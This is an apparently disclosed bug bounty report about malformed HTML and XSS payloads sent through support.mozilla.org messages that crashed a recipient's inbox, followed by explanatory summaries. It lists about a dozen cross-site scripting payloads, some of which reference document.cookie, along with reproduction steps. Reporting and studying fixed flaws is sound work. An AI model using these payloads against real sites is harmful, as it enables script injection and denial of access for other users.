Malformed injected <IMG> tag crashes Messages Inbox Web support.mozilla.org
A user could send a message containing malformed HTML and script-like payloads to another account on the support site. When the recipient opened their messages inbox, the page crashed with an error instead of rendering, and the reporter claims this could be sent to all users.
- Fixed in 35 days
- Paid in 41 days
- Disclosed after 35 days
Paylod XSS (minor) to Crash Messages Inbox
- Login website https://support.mozilla.org/
- Go to https://support.mozilla.org/id/messages/new
- Send to account Victim with payload below
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<img src=x onerror="javascript:alert('XSS')">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav
ascript:alert('XSS');">
- After send Messages menu messages user victim crash and notification alert :
An Error Occurred Oh, no! It looks like an unexpected error occurred. We've already notified the site administrators. Please try again now, or in a few minutes.
- This not Denial-of-service attack or Rate Limit, because this payload impact only user support.mozilla.org
Impact :
this menu new messages on suport mozilla can to send to all user account support, attacker can send payload crash messages to all user account support mozill. and all user cannot open messages menu on https://support.mozilla.org/id/messages/
Supporting Material/References:
Because the proof of concept video file is too big, I uploaded it on youtube and the setting not public :
Thanks
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the message content was not safely sanitised or escaped before being rendered in the inbox, so malformed markup broke the page.
Impact
A recipient's inbox could fail to load, and the reporter claims an attacker could do this to all users so nobody could open their messages; the text does not show a working script execution, only a crash.
What the attacker needed
A free account; victim opens their messages inbox
How it was found
- Log in to the support site.
- Open the new message page.
- Send a message containing the malformed HTML payload to a victim account.
- Open the victim's messages menu and observe the crash and error notification.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The site lets one user send a message to another. The sender put broken HTML and script snippets into the message body. When the receiver opened their inbox, the page failed to load and showed an error, so they could not read their messages. The reporter says this could be repeated against every user.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.